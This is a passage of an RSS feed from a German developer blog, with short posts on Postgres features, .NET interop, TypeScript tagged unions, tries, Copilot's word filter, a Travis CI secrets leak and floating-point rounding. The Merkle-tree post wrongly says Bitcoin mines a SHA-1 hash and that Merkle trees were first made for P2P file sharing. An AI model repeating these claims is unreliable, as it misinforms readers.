</content:encoded><language>de-DE</language><category>bnd</category><category>ctf</category><category>writeup</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/09/02/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/09/02/1.html</guid><pubDate>Thu, 02 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://mobile.twitter.com/moyix/status/1433254293352730628&quot;&gt;Hier&lt;/a&gt; versucht jemand, rauszufinden, welche Wörter bei GitHubs Copilot dazu führen, dass man keine Vorschläge mehr bekommt.&lt;/p&gt;
&lt;p&gt;Nach einer kurzen Einleitung geht&apos;s dann auch schon los:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;So it was time to apply absurd amounts of computer science to the problem. After porting the hash algorithm from Javascript to C, [...]
[...]
I also started doing some amateur cryptanalysis of the hash function
[...]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Geht natürlich noch weiter!&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/09/05/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/09/05/0.html</guid><pubDate>Sun, 05 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Wenn Ihr früher .NET gemacht habt, kennt Ihr vielleicht noch &lt;a href=&quot;http://pinvoke.net&quot;&gt;pinvoke.net&lt;/a&gt;. Das ist eine Wiki-artige Plattform, auf der im Prinzip Code gesammelt wurde, um mit der Win32-API über P/Invokes (das ist das FFI  von .NET) zu arbeiten.&lt;/p&gt;
&lt;p&gt;Jedes Programm hatte dann diese P/Invoke-Signaturen zu sich hinkopiert. Es gab magische Konstanten, die von irgendwo herkamen und keinen Namen hatten. Wie das halt so mit altem Code, der durch 3 Generationen weitergereicht wird, so ist.&lt;/p&gt;
&lt;p&gt;Vor kurzem bin ich auf &lt;a href=&quot;https://github.com/dotnet/pinvoke&quot;&gt;dotnet/pinvoke&lt;/a&gt; gestoßen. Das ist &lt;em&gt;genau das&lt;/em&gt;, nur von Microsoft selbst (+ Community Contributions), als einheitliche Dependency, die über NuGet installierbar ist. Zugegeben NuGet gab&apos;s vor 15 Jahren noch nicht wirklich in der Form. Aber genau sowas hätte MS auch schon damals bereitstellen sollen - das hätte alles einfacher gemacht. So ähnlich wie mit dem WinAPICodePack, &lt;a href=&quot;https://stackoverflow.com/questions/24081665&quot;&gt;welches dann auf einmal von allen MS-Seiten verschwand&lt;/a&gt; (vermutlich wegen Metro/UWP?).&lt;/p&gt;
&lt;p&gt;Jedenfalls dachte ich gerade: Geil! Damit kann ich endlich in meiner Software die handgeschriebenen P/Invokes ablösen und die fehlenden nach upstream contributen. Weniger Wartung für mich und alle haben was davon und so.&lt;/p&gt;
&lt;p&gt;Dann habe ich aber &lt;a href=&quot;https://github.com/dotnet/pinvoke/issues/565&quot;&gt;diese Issue&lt;/a&gt; gesehen. &lt;a href=&quot;/2021/04/02/2.html&quot;&gt;Vor einiger Zeit&lt;/a&gt; habe ich hier auch etwas zu den Source-Generators in C# geschrieben. Diese Source-Generators lösen genau diese Library jetzt ab. Und zwar hat das Win32-Team Metadata-Dateien erstellt, aus denen die P/Invokes on-demand erstellt werden können.
&lt;a href=&quot;https://github.com/microsoft/CsWin32&quot;&gt;Dieser Source-Generator&lt;/a&gt; verwendet das. Man muss damit also keine Dependencys mit riesigen Win32-Import-Ansammlungen mitschleppen, sondern generiert sich genau die, die man benötigt.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>dotnet</category><category>win32</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/09/06/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/09/06/0.html</guid><pubDate>Mon, 06 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Noch ein weiterer &quot;den sollte man kennen&quot;-Blogpost: &lt;a href=&quot;https://schepp.dev/posts/today-the-trident-era-ends/&quot;&gt;Today, the Trident Era Ends&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Gibt einen Einblick in die Dinge, in denen der IE Vorreiter war, welche tollen Dinge wir dem IE verdanken haben und welche interessanten Sachen sie sich sonst damals ausgedacht haben (u. a. natives HTML-Two-Way-Databinding).&lt;/p&gt;
&lt;p&gt;Ein bisschen weniger Inhalt hat &lt;a href=&quot;https://humanwhocodes.com/blog/2012/08/22/the-innovations-of-internet-explorer/&quot;&gt;The innovations of Internet Explorer&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/09/06/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/09/06/1.html</guid><pubDate>Mon, 06 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Falls Ihr gerade an einem Backend schreibt und überlegt, ob Ihr neben Euer Postgres noch eine Message-Queue stellt (z. B. Redis): Postgres hat &lt;a href=&quot;https://tapoueh.org/blog/2018/07/postgresql-listen-notify/&quot;&gt;&lt;code&gt;LISTEN/NOTIFY&lt;/code&gt;&lt;/a&gt; und kann damit auch als Message-Broker verwendet werden.&lt;/p&gt;
&lt;p&gt;Funktioniert auch in einem Trigger, sodass z. B. andere Clients mitbekommen können, wenn eine neue Zeile eingesetzt wurde.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/09/07/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/09/07/0.html</guid><pubDate>Tue, 07 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ich habe ja schonmal über &lt;a href=&quot;/2021/04/04/0.html&quot;&gt;jq, xq, yq, q&lt;/a&gt; und &lt;a href=&quot;/2021/04/06/2.html&quot;&gt;fselect&lt;/a&gt; berichtet.&lt;/p&gt;
&lt;p&gt;Da gibt es noch eins: &lt;a href=&quot;https://github.com/mgdm/htmlq&quot;&gt;htmlq&lt;/a&gt;. Das ist wie jq, nur für HTML und als Abfragesprache hat man CSS-Selektoren.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>tools</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/09/07/ds.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/09/07/ds.html</guid><pubDate>Tue, 07 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Datenstrukturdienstag:
Heute keine konkrete Datenstruktur, nur ein Link auf &lt;a href=&quot;https://idea-instructions.com&quot;&gt;diese tolle Seite&lt;/a&gt;, die Algorithmen und Datenstrukturen mit IKEA-Bauanleitungs-artigen Grafiken erklärt.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/09/10/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/09/10/0.html</guid><pubDate>Fri, 10 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.ozzillate.com&quot;&gt;Dateien über (nicht hörbaren) Ton übertragen&lt;/a&gt;, im Browser. Man kann auch die Checkbox rausnehmen und zuhören.&lt;/p&gt;
&lt;p&gt;Die Seite lädt die Datei allerdings wo hoch ud überträgt nur den Link. Leider wird das nicht Ende-zu-Ende verschlüsselt.&lt;/p&gt;
&lt;p&gt;Es gibt noch zwei Projekte, die sowas machen: &lt;a href=&quot;https://github.com/ggerganov/wave-share&quot;&gt;wave-share&lt;/a&gt; und &lt;a href=&quot;https://github.com/ggerganov/ggwave&quot;&gt;ggwave&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/09/10/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/09/10/1.html</guid><pubDate>Fri, 10 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Habe mir gerade diese beiden Shell-Funktionen in die &lt;code&gt;.zshrc&lt;/code&gt; gelegt:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dsh() { docker exec -it &quot;$1&quot; /bin/sh }
dbash() { docker exec -it &quot;$1&quot; /bin/bash }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Verwenden mit:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dsh &amp;lt;container-id&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;...und man bekommt eine Shell in den Container.&lt;/p&gt;
&lt;p&gt;Vielleicht braucht es ja jemand von Euch.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/09/11/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/09/11/0.html</guid><pubDate>Sat, 11 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Mit &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/wsl/wsl2-mount-disk&quot;&gt;WSL2 kann man ab Windows 11 ext4-Partitionen mounten&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>windows</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/09/14/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/09/14/0.html</guid><pubDate>Tue, 14 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Aktuell mache ich ein bisschen Postgres und muss irgendwo festhalten, was mir so für Dinge auffallen, die ich aus MariaDB und SQLite nicht so kenne.&lt;/p&gt;
&lt;p&gt;Heute: Domains&lt;/p&gt;
&lt;p&gt;Man kann in Postgres eigene Datentypen anlegen und diese auch mit &lt;code&gt;CHECK&lt;/code&gt;s versehen:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CREATE DOMAIN percentage
AS INTEGER
CHECK (VALUE BETWEEN 0 AND 100) NOT NULL;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Und sie dann ganz normal verwenden:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CREATE TABLE test (
    -- ...
    amount_finished percentage,
    -- ...
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Es gibt auch noch &lt;code&gt;CREATE TYPE&lt;/code&gt;. Der Unterschied wird &lt;a href=&quot;https://www.postgresqltutorial.com/postgresql-user-defined-data-types/&quot;&gt;hier&lt;/a&gt; erklärt.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/09/14/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/09/14/1.html</guid><pubDate>Tue, 14 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Wo wir gerade bei Postgres waren: Postgres hat einen riesen-Haufen vordefinierter Typen: https://www.postgresql.org/docs/9.5/datatype.html&lt;/p&gt;
&lt;p&gt;U. A. einen Typen für IP-Adresse und einen für IP-Netze. Außerdem kann eine Tabelle auch Array-Spalten enthalten.
Außerdem auch noch Enums und geometrische Typen (Punkte, Pfade, etc).&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/09/14/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/09/14/2.html</guid><pubDate>Tue, 14 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://travis-ci.community/t/security-bulletin/12081&quot;&gt;Bei Travis gab es ein Problem mit den Secrets&lt;/a&gt;: Die Secrets waren nicht secret.&lt;/p&gt;
&lt;p&gt;Gut ist auch die Anmerkung bei der Ankündigung:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;As a reminder, cycling your secrets is something that all users should do on a regular basis.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Man könnte es auch lesen als &lt;em&gt;&quot;Ja, ist schon schlimm und so. Aber Ihr solltet ja eigentlich alle die Secrets regelmäßig durchtauschen, daher ist das ja dann doch nicht so schlimm. Und wenn nicht, dann ist das Euer Problem, wenn Ihr das nicht macht.&quot;&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.travis-ci.com/2016-07-07-security-advisory-encrypted-variables&quot;&gt;Die hatten mit Secrets schonmal Probleme&lt;/a&gt;.
&lt;strong&gt;Wichtiger Fakt&lt;/strong&gt;: Bei der Meldung aus 2016 steht dabei, dass sie keine Anhaltspunkte haben, dass die Lücke ausgenutzt wurde. Diese Anmerkung fehlt bei der Meldung oben. Man könnte also auf die Idee kommen, daraus zu schlussfolgern, dass es dieses Mal ausgenutzt wurde.
Und wenn man in den &lt;a href=&quot;https://travis-ci.community/t/questions-on-security-bulletin-repository-secrets-leak-to-prs/12094&quot;&gt;verwandten Threads dazu&lt;/a&gt; weiterliest, stimmt das vielleicht auch:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;We’ve notified a few projects ourselves to remove their PR builds, they reproed and validated too. Don’t know if it was abused or not.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ich denke, man will uns damit sagen: Nutzt nicht Travis, wenn Ihr Secrets habt.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/09/14/ds.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/09/14/ds.html</guid><pubDate>Tue, 14 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Datenstrukturdienstag:
Diese Woche keine probabilistische Datenstruktur. Stattdessen etwas eher klassischeres: &lt;a href=&quot;https://en.wikipedia.org/wiki/Merkle_tree&quot;&gt;Merkle-Tree&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Grundidee: Man hat Daten(-Blöcke), welche man hasht. Diese Hashes hasht man dann in Zweierpaaren zu einem neuen Hash. Das macht man so lange, bis man nur noch einen Hash übrig hat, der implizit einen Hash über alle Datenblöcke repräsentiert.
Ein Knoten in dem Baum ist dabei ein Hash, die Kind-Zweige jeweils die Vorgänger-Hashes. Wer alle Datenblöcke vor sich liegen hat, kann den Merkle-Tree berechnen. Ist ein Datenblock fehlerhaft, stimmt am Ende der Root-Hash nicht.&lt;/p&gt;
&lt;p&gt;Das Konzept kommt ursprünglich aus 1979 von &lt;a href=&quot;https://en.wikipedia.org/wiki/Ralph_Merkle&quot;&gt;Ralph Merkle&lt;/a&gt;. Eine der bekanntesten Anwendungen heutzutage ist die Bitcoin-Blockchain. Dort wird ein Merkle-Tree verwendet, um einen Hash über die Transaktionen innerhalb eines Blocks zu berechnen. Die Wurzel dieses Merkle-Trees ist bei Bitcoin dann Teil von dem, was als Grundlage für den SHA-1-Hash verwendet wird, der &quot;gemined&quot; wird. Ursprünglich erfunden wurde der Merkle-Tree, um P2P-Dateiaustausch zu vereinfachen. &lt;a href=&quot;https://academy.binance.com/de/articles/merkle-trees-and-merkle-roots-explained&quot;&gt;Hier ist ein Artikel dazu&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/09/15/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/09/15/0.html</guid><pubDate>Wed, 15 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Aus der Reihe &quot;Blogposts, die man kennen sollte&quot;: &lt;a href=&quot;https://lexi-lambda.github.io/blog/2019/11/05/parse-don-t-validate/&quot;&gt;Parse, don&apos;t validate.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Wenn Ihr eine Anwendung baut, &lt;strong&gt;macht ungültige Zustände in Eurer Typdomäne nicht-repräsentierbar&lt;/strong&gt;. Ihr müsst dann anschließend nichts mehr validieren, sondern nur noch parsen. Letzteres macht ggf. sogar ein Framework für Euch. Und Ihr zwingt Euch dazu, Fehlerfälle nicht zu übersehen.&lt;/p&gt;
&lt;p&gt;Ein einfaches Beispiel in TypeScript:
Szenario: Ein Server kann zwei Antworten geben:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{ &quot;ok&quot;: true, &quot;data&quot;: &quot;Bitteschön&quot; }
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;{ &quot;ok&quot;: false, &quot;message&quot;: &quot;Ich bin ein Kaffeepott&quot; }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Was man &lt;em&gt;nicht&lt;/em&gt; machen sollte, wäre folgendes DTO als Modellierung für die Antwort zu nehmen:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;interface Response {
    ok: boolean;
    message?: string;
    data?: string;
}
const r = await fetch(&quot;...&quot;).then(r =&amp;gt; r.json()) as Response;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Warum nicht?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Weil man andauernd prüfen muss, ob &lt;code&gt;message&lt;/code&gt; vorhanden ist.&lt;/li&gt;
&lt;li&gt;Weil es bei diesem DTO gültig ist, dass das Objekt weder &lt;code&gt;message&lt;/code&gt; noch &lt;code&gt;data&lt;/code&gt; hat. Dieser ungültige Zustand wäre in dieser Modellierung möglich!&lt;/li&gt;
&lt;li&gt;Weil man vergessen könnte, auf &lt;code&gt;ok&lt;/code&gt; zu überprüfen.&lt;/li&gt;
&lt;li&gt;Kann bei Refactorings kaputt gehen.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Was könnte man stattdessen machen? &lt;a href=&quot;https://basarat.gitbook.io/typescript/type-system/discriminated-unions&quot;&gt;TypeScript hat (wie andere Sprachen auch) discriminated/tagged Unions&lt;/a&gt;. Rust-Menschen kennen das als ihr Enum, nur dass das in TS auf JS-Objekten funktioniert. Dabei fungiert ein- oder mehrere gemeinsame Propertys der Typen als Discriminator (also &quot;Unterscheider&quot;).&lt;/p&gt;
&lt;p&gt;Wir definieren genau die zwei Möglichkeiten, die uns der Server geben kann und sagen &quot;das oder das&quot;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;interface SuccessResponse {
    ok: true;
    data: string;
}
interface ErrorResponse {
    ok: false;
    message: string;
}
type Response = SuccessResponse | ErrorResponse;

const r = await fetch(&quot;...&quot;).then(r =&amp;gt; r.json()) as Response;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;ok&lt;/code&gt; ist hier der Discriminator, der zwischen den beiden Typen unterscheidet.&lt;/p&gt;
&lt;p&gt;Auffällig ist:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Weder &lt;code&gt;message&lt;/code&gt; noch &lt;code&gt;data&lt;/code&gt; sind jetzt optional.&lt;/li&gt;
&lt;li&gt;Man wird vom Typsystem gezwungen, auf &lt;code&gt;ok&lt;/code&gt; zu prüfen, bevor man &lt;code&gt;.data&lt;/code&gt; verwendet. Man kann es nicht vergessen.&lt;/li&gt;
&lt;li&gt;Eine Funktion, die nur mit einer erfolgreichen Serverantwort etwas anfangen kann, kann dies in ihrer Parametersignatur sagen. Man spart sich das entpacken der Antwort sowie sonstige Checks innerhalb der Funktion.&lt;/li&gt;
&lt;li&gt;Wenn Refactorings etwas daran ändern, merkt man das.&lt;/li&gt;
&lt;li&gt;Es ist nicht möglich, &lt;code&gt;ok: true&lt;/code&gt; und &lt;code&gt;mesage: &quot;test&quot;&lt;/code&gt; zu haben - ungültige Zustände können hier nicht repräsentiert werden.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Eine Überprüfung, ob die Antwort jetzt erfolgreich war oder nicht, muss man natürlich so früh wie möglich machen, dann spart man sich das Überprüfen an späteren Stellen.&lt;/p&gt;
&lt;p&gt;Das oben gezeigte Pattern lässt sich gut verwenden, um State-Machines typsicher zu implementieren.
Noch ein paar Pointer für andere Sprachen:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://en.cppreference.com/w/cpp/utility/variant&quot;&gt;std::variant&lt;/a&gt; für &amp;gt;= C++17&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mypy.readthedocs.io/en/stable/literal_types.html#tagged-unions&quot;&gt;mypy kann tagged Unions&lt;/a&gt;. Ob das mypy-spezifisch ist, weiß ich leider nicht.
&lt;ul&gt;
&lt;li&gt;Interesting find: &lt;a href=&quot;https://docs.python.org/3.10/whatsnew/3.10.html#pep-604-new-type-union-operator&quot;&gt;Seit Python 3.10&lt;/a&gt; kann man &lt;code&gt;A | B&lt;/code&gt; für Unions nehmen (statt &lt;code&gt;Union[A, B]&lt;/code&gt;); das macht es weniger verbose in der Nutzung&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/409&quot;&gt;Java 17 macht sowas mit Sealed Classes&lt;/a&gt; und später noch etwas angenehmer mit &lt;a href=&quot;https://openjdk.java.net/jeps/359&quot;&gt;Records&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Tagged_union&quot;&gt;Wikipedia zu Tagged Unions / Sum Types&lt;/a&gt;, mit Code-Beispielen&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Das ist nur eine Methode, ungültige Zustände im Typsystem festzuhalten. Aber eine, die (meiner Meinung nach) zu wenig verwendet wird.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>typescript</category><category>software-engineering</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/09/16/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/09/16/0.html</guid><pubDate>Thu, 16 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Einen Type-Checker schreiben: &lt;a href=&quot;https://jaked.org/blog/2021-09-15-Reconstructing-TypeScript-part-1&quot;&gt;Reconstructing TypeScript, part 1&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>typescript</category><category>compiler</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/09/16/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/09/16/1.html</guid><pubDate>Thu, 16 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://search.marginalia.nu&quot;&gt;A search engine that favors text-heavy sites and punishes modern web design&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/09/21/ds.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/09/21/ds.html</guid><pubDate>Tue, 21 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Datenstrukturdienstag:
Der &lt;a href=&quot;https://en.wikipedia.org/wiki/Trie&quot;&gt;Prefix-Tree&lt;/a&gt; bzw. &quot;Trie&quot;.&lt;/p&gt;
&lt;p&gt;Grundidee: Ein Baum, bei dem jeder Knoten ein Buchstabe ist. Will man einen String ablegen, &quot;geht&quot; bzw. erstellt man den entsprechenden Pfad, der zu dem String gehört.
Man muss den Key deshalb nicht separat abspeichern. Der Pfad zum Wert ist der Key. Die Menge der Keys ist dadurch die Menge der Pfade, die in einem Blatt enden.&lt;/p&gt;
&lt;p&gt;Neulich habe ich hiermit ein bisschen geliebäugelt, um es ggf. als optimierte Variante anstelle einer Hashmap zu verwenden. Die Keys, die ich in die Map gesteckt habe, waren alle sehr ähnliche Strings. Vor allem waren es Strings, die semantisch mehr  miteinander zu tun hatten, je gleicher der Prefix ist. Das hätte vor allem die Lookup-Zeiten aufgrund von CPU-Caches reduzieren können.&lt;/p&gt;
&lt;p&gt;Bevor ich ausprobiert hab, ob es sich lohnt, hab ich natürlich gegooglet. Wichtige Erkenntnisse dabei haben &lt;a href=&quot;https://loup-vaillant.fr/projects/string-interning/benchmark&quot;&gt;dieser&lt;/a&gt; und &lt;a href=&quot;https://stackoverflow.com/questions/245878&quot;&gt;dieser&lt;/a&gt; post geliefert. tl;dr: Eine Standard-Hashmap (z. B. aus Java) ist ziemlich optimiert und ein Prefix-Tree lohnt sich meistens eher nicht. &lt;a href=&quot;https://probablydance.com/2017/02/26/i-wrote-the-fastest-hashtable/&quot;&gt;Manche sehen das auch als Contest an, die schnellste Hashtable zu schreiben&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/09/24/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/09/24/0.html</guid><pubDate>Fri, 24 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Eine interessante Blogpost-Serie: &lt;a href=&quot;https://abhinavsarkar.net/posts/implementing-co-2/&quot;&gt;Implementing Co, a Small Interpreted Language With Coroutines #2: The Interpreter&lt;/a&gt; (Part I ist der Parser).&lt;/p&gt;
</content:encoded><language>de-DE</language><category>compiler</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/09/24/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/09/24/1.html</guid><pubDate>Fri, 24 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;C# wird ja immer weiterentwickelt. Das geht seit Roslyn so schnell, dass manche Sachen dort vielleicht untergegangen sind. Z. B. &lt;a href=&quot;https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/classes-and-structs/access-modifiers&quot;&gt;hat C# mittlerweile zwei neue Access-Modifiers&lt;/a&gt;, die noch &quot;so üblich&quot; sind:&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;protected internal&lt;/code&gt;: The type or member can be accessed by any code in the assembly in which it&apos;s declared, or from within a derived &lt;code&gt;class&lt;/code&gt; in another assembly.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;private protected&lt;/code&gt;: The type or member can be accessed only within its declaring assembly, by code in the same &lt;code&gt;class&lt;/code&gt; or in a type that is derived from that &lt;code&gt;class&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
</content:encoded><language>de-DE</language><category>dotnet</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/09/24/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/09/24/2.html</guid><pubDate>Fri, 24 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Eine einfache Web-ReadOnly-Oberfläche für Git-Repos: &lt;a href=&quot;https://klausdemo.lophus.org/~jonashaag/klaus/&quot;&gt;Klaus&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>git</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/09/24/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/09/24/3.html</guid><pubDate>Fri, 24 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ein &quot;Gotcha&quot; bei Floating-Point-Kram (IEEE 754) ist das Runden:&lt;/p&gt;
&lt;p&gt;In JavaScript verhält sich das Runden wie folgt:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt; Math.round(0.5)
1
&amp;gt; Math.round(1.5)
2
&amp;gt; Math.round(2.5)
3
&amp;gt; Math.round(3.5)
4
&amp;gt; Math.round(4.5)
5
&amp;gt; Math.round(5.5)
6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In Python hingegen:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; round(0.5)
0
&amp;gt;&amp;gt;&amp;gt; round(1.5)
2
&amp;gt;&amp;gt;&amp;gt; round(2.5)
2
&amp;gt;&amp;gt;&amp;gt; round(3.5)
4
&amp;gt;&amp;gt;&amp;gt; round(4.5)
4
&amp;gt;&amp;gt;&amp;gt; round(5.5)
6
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;JS rundet hier offenbar klassisch kaufmännisch. Aber was macht Python da? Python rundet hier nach dem Prinzip &lt;a href=&quot;https://en.wikipedia.org/wiki/Rounding#Round_half_to_even&quot;&gt;&lt;code&gt;round half to even&lt;/code&gt;&lt;/a&gt;, ebenfalls definiert in IEEE 754. Der Hintergrund dieser Idee ist, einen Bias auszugleichen, der auftritt, wenn Summen gerundeter Zahlen gebildet werden:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This function minimizes the expected error when summing over rounded figures, even when the inputs are mostly positive or mostly negative.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Der Wikipedia-Artikel hat auch eine schöne Tabelle!&lt;/p&gt;
&lt;p&gt;Wenn man in Java mit &lt;code&gt;BigDecimal&lt;/code&gt; arbeitet, gibt es da einen sogenannten &lt;a href=&quot;https://docs.oracle.com/javase/8/docs/api/java/math/MathContext.html&quot;&gt;&lt;code&gt;MathContext&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;https://docs.oracle.com/javase/8/docs/api/java/math/BigDecimal.html#round-java.math.MathContext-&quot;&gt;den man auch beim Runden angeben kann&lt;/a&gt;. &lt;a href=&quot;https://docs.oracle.com/javase/8/docs/api/java/math/RoundingMode.html&quot;&gt;Darüber kann man genau spezifizieren&lt;/a&gt;, wie gerundet werden soll.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2021/09/24/4.html</link><guid isPermaLink="true">https://blog.holz.nu/2021/09/24/4.html</guid><pubDate>Fri, 24 Sep 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Neulich hatte ich den bekannten &quot;Parse, don&apos;t validate&quot;-Post verlinkt.&lt;/p&gt;
&lt;p&gt;Als Follow-Up-Empfehlung gibt es hier zwei Posts:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://neilmadden.blog/2020/11/25/parse-dont-type-check/&quot;&gt;Parse, don’t type-check&lt;/a&gt;&lt;/li&gt;
